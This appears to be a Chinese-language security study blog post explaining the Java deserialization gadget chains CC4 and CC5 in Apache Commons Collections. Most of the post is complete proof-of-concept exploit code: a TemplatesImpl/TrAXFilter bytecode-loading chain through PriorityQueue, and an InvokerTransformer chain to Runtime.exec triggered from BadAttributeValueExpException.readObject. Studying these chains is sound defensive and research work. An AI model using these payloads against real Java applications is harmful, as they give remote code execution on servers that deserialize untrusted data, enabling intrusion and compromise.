目录

CC4+CC5分析与利用

CC4分析与利用

学了前面的cc2,其实cc4就是将cc2使用的InvokerTransformer替换成InstantiateTransformer来加载字节码(CC3里面有说)。

把最后调用的transform方法改为:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

poc

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;



public class CC4 {
    public static void main(String[] args)throws Exception {

        TemplatesImpl tem =new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
        setValue(tem, "_bytecodes", new byte[][]{code});
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(1);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,new TransformingComparator(cha));

        serilize(queue);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;

    }
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

CC5分析与利用

前面学习了cc6知道cc6是接着cc1的LazyMap.get向上走的,通过TiedMapEntry中的getValue调用get,在利用hashcode调用getValue,最后和URLDNS一样触发到hashcode。

分析

TiedMapEntry.toString

其实在TiedMapEntry类中还有toString也能调用getValue函数:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240628140140.png

构造试试

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC5test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        Tie.toString();
    }
}

BadAttributeValueExpException.readObject

那么接下来就是看哪里调用了toStirng方法,这个确实有点多不用找了,直接看ysoserial的cc4中给出了类BadAttributeValueExpException

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240628141658.png

直接到了readObject方法,所以这里我们需要控制valObj为TiedMapEntry对象就行了。

发现valObj是通过gf.get方法获取的:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240628142038.png

我们只需要将val类型变量赋值为TiedMapEntry对象即可

但发现其构造函数也会调用toString

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240628142605.png

所以为了解决这种提前触发,和前面链子的思路一样,先给val随便赋个值或者为null,然后在利用反射修改val为TiedMapEntry对象。

poc

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC5test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field v = val.getClass().getDeclaredField("val");
        v.setAccessible(true);
        v.set(val, Tie);
        
        serilize(val);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

补充

发现BadAttributeValueExpException没有实现序列化接口,但还是能进行序列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240628144217.png

这是因为BadAttributeValueExpException类继承了Exception类,Exception类又继承了Throwable类,而Throwable类实现了Serializable接口。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240629003102.png

参考:https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f

参考:https://www.cnblogs.com/1vxyz/p/17473581.html